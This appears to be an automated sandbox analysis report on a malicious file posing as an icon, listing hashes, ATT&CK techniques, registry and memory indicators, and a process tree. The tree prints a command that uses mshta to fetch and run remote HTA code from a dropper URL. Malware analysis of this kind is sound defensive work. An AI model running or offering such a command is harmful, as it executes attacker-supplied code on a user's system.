2051fdcc57536ef32572aaacf924fec46ebe8d43a09199e4e8230f489a959e0b

Resubmissions

03-04-2023 21:33

230403-1elf8ace54 10

03-04-2023 21:30

230403-1chbsabb53 10

Analysis

max time kernel
221s
max time network
224s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
03-04-2023 21:33

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General

Target

Saturn - Icon.ico
Size

4KB
MD5

aea4e29119b6b140a2ba9d99c0c78316
SHA1

348486ce37c69c5204af0362e19dfd5691b5a817
SHA256

2051fdcc57536ef32572aaacf924fec46ebe8d43a09199e4e8230f489a959e0b
SHA512

d73eb2ea0c6eaacb1b909ef8b208641ef407a1326dbeeb1ffac4ffd2249c5cb1cc3de392cbc13989303938c7aa027649988d649a2b493a5cc7a47b1fe546f359
SSDEEP

24:subEH6uR+5CnVbsFCc/4a7ESvXbXmHQ90wP3smyUmzgioeTMhatD6q+xiz:dEDRGCVbsFC5a7EM6wrP8NUMRTNz

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://192.168.0.5:9999/XM01C

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: 33	240	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	240	AUDIODG.EXE
Token: 33	240	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	240	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1852	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 576 wrote to memory of 1852	576	cmd.exe	30
PID 576 wrote to memory of 1852	576	cmd.exe	30
PID 576 wrote to memory of 1852	576	cmd.exe	30
PID 1852 wrote to memory of 1608	1852	mshta.exe	33
PID 1852 wrote to memory of 1608	1852	mshta.exe	33
PID 1852 wrote to memory of 1608	1852	mshta.exe	33

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen "C:\Users\Admin\AppData\Local\Temp\Saturn - Icon.ico"
1⤵
PID:824

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:576
- C:\Windows\system32\mshta.exe
  mshta http://192.168.0.5:9999/XM01C
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\notepad.exe
    "C:\Windows\system32\notepad.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S7FIT0B8\XM01C[1]"
    3⤵
    PID:1608

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1344

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x544
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:240

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1256

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S7FIT0B8\XM01C[1]

Filesize
181B

MD5
68f9139482fcf8c77c42a51bd89802c1

SHA1
e44e8a743b07a0c3b37b5c2851ad35aa5da6f639

SHA256
acb08f0713744d9f52b3c01926f5ef17b18dd1ba10f9a4c39934436fc6f82cbc

SHA512
ad47c89bc9a433b4a0a0006002b90553ad4ecaaf4072945876667d4619d5570948c88b0939354054aaca680984e449bc9fb1b3b6e4d33ed5c8cde46ea1b49ec7

Download Submit
memory/1256-67-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/1344-66-0x00000000027B0000-0x00000000027B1000-memory.dmp

Filesize
4KB

Download